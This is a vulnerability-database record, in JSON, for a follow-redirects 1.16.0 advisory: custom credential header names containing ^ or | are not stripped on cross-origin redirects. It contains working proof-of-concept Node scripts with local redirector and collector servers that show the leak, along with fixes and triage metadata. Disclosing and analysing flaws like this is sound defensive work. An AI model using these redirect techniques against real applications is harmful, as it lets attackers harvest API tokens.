{"id":"CVE-2026-111755","kind":"vulnerability","aliases":["CVE-2026-111755","GHSA-8r9p-f939-6h3c"],"related":[],"title":"follow-redirects sensitiveHeaders regex escaping can expose credential headers","description":"### Summary\nfollow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.\n\n### Details\nThe filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:\n\n```js\nthis._headerFilter = new RegExp(\"^(?:\" +\n    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join(\"|\") +\n  \")$\", \"i\");\n```\n\n`escapeRegex` at `index.js:703-705`:\n\n```js\nfunction escapeRegex(regex) {\n  return regex.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$&\");   // escapes ] \\ / ( ) * + ? . $  -- NOT ^ | [ { }\n}\n```\n\nThe character class escapes `]`, `\\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node's `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.\n\nFor a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:\n\n- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test(\"X-Api^Key\")` returns `false`, and the header is not stripped.\n- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.\n\nThe generated filter source, reproduced from the exact library logic, is:\n```\n^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$\n```\nDirect matching results against this filter: `X-Api^Key` -> false, `X-Token|Secret` -> false, `X-Control-Key` (normal name) -> true, and the split-off `X-Token` -> true and `Secret` -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.\n\nSecondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.\n\nSuggested remediation: two changes close both facets.\n\n1. Escape the complete set of regular-expression metacharacters:\n```js\nfunction escapeRegex(str) { return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\"); }\n```\nThis was verified to restore correct matching for all affected names while preserving the built-in matches.\n\n2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.\n\nAdditionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/pull/284\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nFacet 1, metacharacter header names, `leak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:45902/\" });   // cross-origin (different port)\n  res.end();\n});\nvar collector = http.createServer(function (req, res) {\n  res.end(JSON.stringify(req.headers));                          // attacker-controlled target\n});\nredirector.listen(45901, \"127.0.0.1\", function () {\n  collector.listen(45902, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 45901, path: \"/\",\n      headers: {\n        \"X-Api^Key\":      \"SECRET-LEAKED-1\",     // declared sensitive, name contains ^\n        \"X-Token|Secret\": \"SECRET-LEAKED-2\",     // declared sensitive, name contains |\n        \"X-Control-Key\":  \"SHOULD-BE-STRIPPED\",  // declared sensitive, normal name (control)\n        \"Authorization\":  \"Bearer BUILTIN-CTL\"   // built-in list (control)\n      },\n      sensitiveHeaders: [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"X-Api^Key      :\", h[\"x-api^key\"] || \"(stripped)\");\n        console.log(\"X-Token|Secret :\", h[\"x-token|secret\"] || \"(stripped)\");\n        console.log(\"X-Control-Key  :\", h[\"x-control-key\"] || \"(stripped - OK)\");\n        console.log(\"Authorization  :\", h[\"authorization\"] || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0):\n```\nX-Api^Key      : SECRET-LEAKED-1          <- credential LEAKED to redirect target\nX-Token|Secret : SECRET-LEAKED-2          <- credential LEAKED to redirect target\nX-Control-Key  : (stripped - OK)          <- control: option works for normal names\nAuthorization  : (stripped - OK)          <- control: built-in list works\n```\nThe two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.\n\nRoot-cause and fix verification (pure regex logic, no network):\n```js\nvar builtin = [\"Authorization\", \"Proxy-Authorization\", \"Cookie\"];\nfunction escCurrent(s) { return s.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$&\"); }         // library's escaper\nfunction escFixed(s)   { return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\"); }      // canonical escaper\nfunction build(esc, d) { return new RegExp(\"^(?:\" + builtin.concat(d).map(esc).join(\"|\") + \")$\", \"i\"); }\nvar declared = [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"];\nvar cur = build(escCurrent, declared), fix = build(escFixed, declared);\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n => console.log(\"current\", n, cur.test(n)));  // both false\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n => console.log(\"fixed  \", n, fix.test(n)));  // both true\n[\"X-Token\",\"Secret\"].forEach(n => console.log(\"collateral\", n, cur.test(n)));         // both true (wrong)\n```\nObserved: current filter returns false for both metacharacter names and true for the unrelated `X-Token` and `Secret`; the fixed filter returns true for all declared names and still true for the built-ins.\n\nReachability of the vectors:\n```\nnode -e 'var http=require(\"http\");[\"X-A^B\",\"X-A|B\",\"X-A[B\",\"X-A{B\",\"X-A}B\"].forEach(function(n){try{var r=http.request({host:\"127.0.0.1\",port:1});r.setHeader(n,\"v\");r.destroy();console.log(n,\"ACCEPTED\");}catch(e){console.log(n,\"REJECTED\",e.code);}});'\n```\nObserved: `X-A^B` and `X-A|B` ACCEPTED; `X-A[B`, `X-A{B`, `X-A}B` REJECTED with `ERR_INVALID_HTTP_TOKEN`.\n\nFacet 2, entry declared inside `beforeRedirect`, `leak2.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  res.writeHead(302, { Location: \"http://127.0.0.1:46202/\" }); res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(46201, \"127.0.0.1\", function () {\n  collector.listen(46202, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 46201, path: \"/\",\n      headers: { \"X-Late\": \"LATE-DECLARED-VALUE\" },\n      beforeRedirect: function (options) { options.sensitiveHeaders.push(\"X-Late\"); }\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n        console.log(\"X-Late forwarded to redirect target:\", JSON.parse(body)[\"x-late\"] || \"(stripped)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0): `X-Late forwarded to redirect target: LATE-DECLARED-VALUE` (the late-declared name is not stripped).\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the `sensitiveHeaders` cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the `sensitiveHeaders` option to protect a custom credential-bearing header whose name contains `^` or `|`, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the `sensitiveHeaders` option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.","summary":"follow-redirects 1.16.0 builds its sensitiveHeaders strip filter with an incomplete regex escaper, so custom header names containing ^ or | are never stripped on cross-origin redirects. An attacker controlling a redirect target receives the declared credential header value in plaintext while the app believes it is protected.","severity":"high","cvss":8.2,"epss":0.004360000137239695,"exploited":false,"exploited_at":null,"products":[{"name":"follow-redirects","fixed":["1.16.1"],"affected":">= 1.16.0, < 1.16.1","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["axios","cwe-185","cwe-200","follow-redirects","node","npm","package","self-hosted"],"not_affected_if":["built-in-headers-only","follow-redirects-below-1.16.0","no-custom-credential-headers-with-^-or-|","no-sensitiveheaders-option-used","version-1.16.1-or-later"],"how_to_check":"Run: npm ls follow-redirects (or check package-lock.json) and look for a version >= 1.16.0 and < 1.16.1.\nSearch the codebase for sensitiveHeaders and check whether any declared header name contains ^ or |.","fix":"Upgrade follow-redirects to 1.16.1 (npm update follow-redirects, or upgrade axios/other dependents that pull it in).\nUntil upgraded, avoid declaring sensitiveHeaders names containing ^ or | and rename those credential headers.","status":"open","published_at":"2026-10-19T18:17:00+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:13:38+00:00","updated_at":"2026-10-23T21:57:18+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:13:38Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade follow-redirects to 1.16.1 (npm update follow-redirects, or upgrade axios/other dependents that pull it in).\nUntil upgraded, avoid declaring sensitiveHeaders names containing ^ or | and rename those credential headers.","summary":"follow-redirects 1.16.0 builds its sensitiveHeaders strip filter with an incomplete regex escaper, so custom header names containing ^ or | are never stripped on cross-origin redirects. An attacker controlling a redirect target receives the declared credential header value in plaintext while the app believes it is protected.","category":"package","who_cares":["npm","follow-redirects","axios","node","self-hosted"],"confidence":0.85,"analyst_note":"","how_to_check":"Run: npm ls follow-redirects (or check package-lock.json) and look for a version >= 1.16.0 and < 1.16.1.\nSearch the codebase for sensitiveHeaders and check whether any declared header name contains ^ or |.\nunknown for any other check.","needs_analyst":false,"not_affected_if":["follow-redirects-below-1.16.0","version-1.16.1-or-later","no-sensitiveHeaders-option-used","no-custom-credential-headers-with-^-or-|","built-in-headers-only"],"severity_if_unknown":"high"},"cost_usd":0.000898,"input_tokens":6670,"output_tokens":462,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-111755':13A,21A '-120':289C '-185':27B '-200':29B '-2026':12A,20A,101C '-40895':102C '-506':665C '-705':303C '/g':310C '1.16.0':42B,92C '2653':107C '6h3c':18A '8r9p':16A '9110':178C,338C 'accept':183C,326C 'adopt':208C 'affect':255C,273C 'altern':150C,380C,446C,466C,487C,522C 'although':358C 'anchor':484C 'api':462C,469C,498C,572C,590C 'app':83B 'appear':360C 'appli':649C 'applic':111C,206C 'attack':68B,221C,232C 'attacker-control':220C 'author':262C,265C,565C,568C,625C,628C 'axio':25B 'becom':475C 'beforeredirect':640C,656C 'believ':84B,239C 'broken':448C 'build':43B 'built':141C,259C,623C,644C 'built-in':258C,622C 'bypass':425C 'cannot':359C 'canon':428C 'case':137C,405C 'case-insensit':136C 'caus':420C 'charact':180C,314C,385C 'class':315C,386C 'collater':617C 'concaten':143C 'construct':281C,647C 'constructor':286C,397C 'contain':57B,172C,191C,267C,370C,441C,457C,510C 'control':69B,222C,580C,600C 'cooki':266C,569C,629C 'crash':412C 'credenti':9A,76B,215C,229C,355C 'cross':64B,123C,224C 'cross-origin':63B,223C 'custom':54B,214C 'cve':11A,19A,100C 'cwe':26B,28B 'declar':75B,112C,145C,189C,365C,437C 'defect':276C 'detail':277C 'differ':126C 'direct':582C 'downgrad':129C 'either':192C 'entri':368C 'err':342C 'error':235C 'escap':6A,52B,157C,311C,316C,418C,429C 'escaperegex':155C,156C,297C,300C,306C 'exact':561C 'exampl':382C,459C,512C 'exist':252C 'expos':8A 'express':140C 'extra':113C 'f939':17A 'fail':401C,452C 'fail-open':451C 'failur':244C 'fals':501C,592C,597C 'filter':47B,132C,279C,389C,556C,587C,635C,642C 'fix':98C,431C 'follow':2A,23A,31B,40B,90C,218C 'follow-redirect':1A,30B,39B,89C 'follow-redirects':22A 'forward':227C 'function':305C 'generat':194C,555C 'ghsa':15A,104C 'ghsa-8r9p-f939-6h3c':14A 'ghsa-r4q5-vmmm':103C 'h':669C 'header':10A,55B,77B,114C,146C,168C,201C,216C,329C,363C,439C,493C,504C,530C,542C 'hook':658C 'host':38B,127C 'http':344C 'http.clientrequest':325C 'in':624C 'incomplet':50B,417C 'incomplete-escap':416C 'index.js:118':288C 'index.js:490':651C 'index.js:494':664C 'index.js:703':302C 'inject':374C 'insensit':138C 'insid':471C 'instead':553C 'intend':200C 'introduc':93C 'invalid':343C 'join':298C 'js':290C,304C 'key':463C,470C,499C,573C,581C,591C,601C 'leak':356C 'leav':165C 'legitim':171C 'let':109C 'librari':562C 'list':261C 'liter':543C 'live':362C 'logic':563C 'loud':408C 'map':296C 'match':198C,490C,537C,583C 'may':170C 'metacharact':163C,269C,444C 'mid':478C 'mid-pattern':477C 'must':117C 'name':56B,115C,147C,169C,190C,256C,330C,364C,440C,456C,494C,509C,544C,603C 'never':60B,197C,489C,536C 'new':292C 'node':33B,182C,323C 'normal':602C 'npm':34B 'omit':319C 'one':371C 'open':453C 'option':96C,210C 'options.sensitiveheaders':295C 'origin':65B,225C 'packag':35B 'partial':160C 'pass':152C 'pattern':195C,473C,479C 'plaintext':80B 'protect':87B,212C,242C,248C 'protocol':130C 'proxi':264C,567C,627C 'proxy-author':263C,566C,626C 'r4q5':105C 'rather':421C 'reachabl':350C 'real':492C,529C 'receiv':73B 'redirect':3A,32B,41B,66B,71B,91C,122C,226C 'redirectablerequest':285C,396C 'redirects':24A 'refresh':638C 'regex':5A,51B,307C 'regex.replace':309C 'regexp':293C,390C 'regular':139C 'reject':340C 'relat':633C 'remov':119C 'reproduc':558C 'request':400C,410C 'request-tim':409C 'result':204C,584C 'return':308C,500C 'rfc':177C,337C 'root':419C 'run':653C 'sanitizeopt':662C 'secondari':632C 'secret':516C,527C,534C,549C,577C,596C,615C 'self':37B 'self-host':36B 'send':185C 'sensit':438C 'sensitivehead':4A,45B,95C,367C 'sensitiveheaders.concat':294C 'separ':357C,521C 'set':161C 'silent':246C,354C,424C 'simpli':249C 'singl':135C 'snapshot':636C 'sourc':557C 'split':518C,608C 'split-off':607C 'start':403C,481C 'start-of-str':480C 'string':483C 'strip':46B,61B,507C,539C,552C,620C,668C 'subsequ':661C 'summari':88C 'syntaxerror':393C 'target':72B 'tchar':334C 'test':495C 'this._headerfilter':291C 'this._options':657C 'throw':391C 'time':411C 'token':179C,345C,377C,515C,525C,533C,547C,576C,595C,612C 'true':604C,613C,616C,631C 'two':520C 'unbalanc':376C 'unescap':167C,443C 'unrel':541C 'untermin':384C 'valid':176C,333C 'valu':78B,335C 'vector':351C 'vmmm':106C 'warn':237C 'way':454C 'weak':634C 'well':434C 'would':550C 'wrong':619C 'wrong-strip':618C 'x':461C,468C,497C,514C,524C,532C,546C,571C,575C,579C,589C,594C,599C,611C 'x-api':460C,467C,496C,570C,588C 'x-control-key':578C,598C 'x-token':513C,523C,531C,545C,574C,593C,610C 'yield':464C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T18:17:00+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-8r9p-f939-6h3c","url":"https://github.com/advisories/GHSA-8r9p-f939-6h3c","severity":"high","published_at":"2026-10-20T17:53:05+00:00","modified_at":"2026-10-20T17:53:07+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-111755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111755","severity":null,"published_at":"2026-10-19T18:17:00+00:00","modified_at":"2026-10-19T21:13:39+00:00","first_seen_at":"2026-10-23T21:57:18+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}